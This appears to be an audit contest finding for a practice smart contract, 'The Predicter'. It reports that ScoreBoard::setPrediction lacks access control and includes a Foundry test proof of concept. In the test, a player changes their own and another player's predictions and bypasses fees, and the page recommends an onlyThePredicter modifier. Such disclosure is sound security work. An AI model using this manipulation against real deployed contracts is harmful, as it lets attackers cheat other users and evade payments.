First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

ScoreBoard::setPrediction can be called by anyone leading to many manupulations during the gaming period.

0x0noob

Details

ScoreBoard::setPrediction is the main function that determines whether players choices in the game are right or wrong. There is no restriction on who can call this function, another implication of this is that players would be bypass the predictionFee for subsequent matchNumber after making payment for their initial match when they use this. Also, there is no check on whether the address player parameter is a registered player and the msg.sender implying that the player who has made an initial payment for his can manipulate the choices of others together with his.

POC

+ address public stranger2 = makeAddr("stranger2");
​
function test_enterThroughSetPrediction() public {
vm.startPrank(stranger);
vm.deal(stranger, 0.0001 ether);
vm.stopPrank();
​
vm.startPrank(stranger2);
vm.deal(stranger2, 0.0001 ether);
vm.stopPrank();
​
vm.warp(2);
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
vm.stopPrank();
​
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
0,
ScoreBoard.Result.Second
);
//Proof that a player can enter scoreBoard.setPrediction() directly and change his initial preference
scoreBoard.setPrediction(stranger, 0, ScoreBoard.Result.First);
console.log(scoreBoard.getPlayerScore(stranger));
vm.stopPrank();
​
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
0,
ScoreBoard.Result.Second
);
​
//Proof that a player can influence another players result
vm.startPrank(stranger);
scoreBoard.setPrediction(stranger2, 0, ScoreBoard.Result.First);
console.log(scoreBoard.getPlayerScore(stranger2));
vm.stopPrank();
}

Tools Used

Manual Review

Recommendations

Apply the onlyThePredicter modifier.

Updates

Lead Judging Commences

NightHawK Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.